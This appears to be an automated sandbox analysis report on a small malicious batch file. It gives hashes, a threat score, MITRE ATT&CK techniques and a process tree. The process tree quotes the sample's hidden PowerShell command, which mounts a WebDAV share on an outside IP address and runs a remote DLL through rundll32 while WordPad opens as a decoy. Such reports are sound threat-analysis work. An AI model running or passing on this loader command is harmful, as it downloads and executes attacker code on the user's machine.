8300db5a6fe16d7fd304a550af51038a36ccd05dec58b98927007d77d842b508

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 06:55

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General

Target

14124302182470515638.bat
Size

2KB
MD5

643b6da97b05489a08afea7e0e53baa5
SHA1

bc89db1f179fef0d87c53c26e70a0e23ae841659
SHA256

f08b16c5362221593ae7ff64668bfcafd2ea1f4a25099cb75151da907ebf18b2
SHA512

03b8182595fbda3840efe4359a18b10794de6c646c4b7bcf4617f1fadbcd5a1afdefda9e5446a0e01b756d6e1c6f9b08e2ae9eba339c1fa4c1ca12ac737ceac2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2668	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2896	wordpad.exe
2896	wordpad.exe
2896	wordpad.exe
2896	wordpad.exe
2896	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2896	2756	cmd.exe	31
PID 2756 wrote to memory of 2896	2756	cmd.exe	31
PID 2756 wrote to memory of 2896	2756	cmd.exe	31
PID 2756 wrote to memory of 2668	2756	cmd.exe	32
PID 2756 wrote to memory of 2668	2756	cmd.exe	32
PID 2756 wrote to memory of 2668	2756	cmd.exe	32
PID 2668 wrote to memory of 2212	2668	powershell.exe	34
PID 2668 wrote to memory of 2212	2668	powershell.exe	34
PID 2668 wrote to memory of 2212	2668	powershell.exe	34
PID 2668 wrote to memory of 2152	2668	powershell.exe	35
PID 2668 wrote to memory of 2152	2668	powershell.exe	35
PID 2668 wrote to memory of 2152	2668	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\14124302182470515638.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1979.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2668
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2212
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1979.dll entry
    3⤵
    PID:2152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2668-20-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2668-21-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download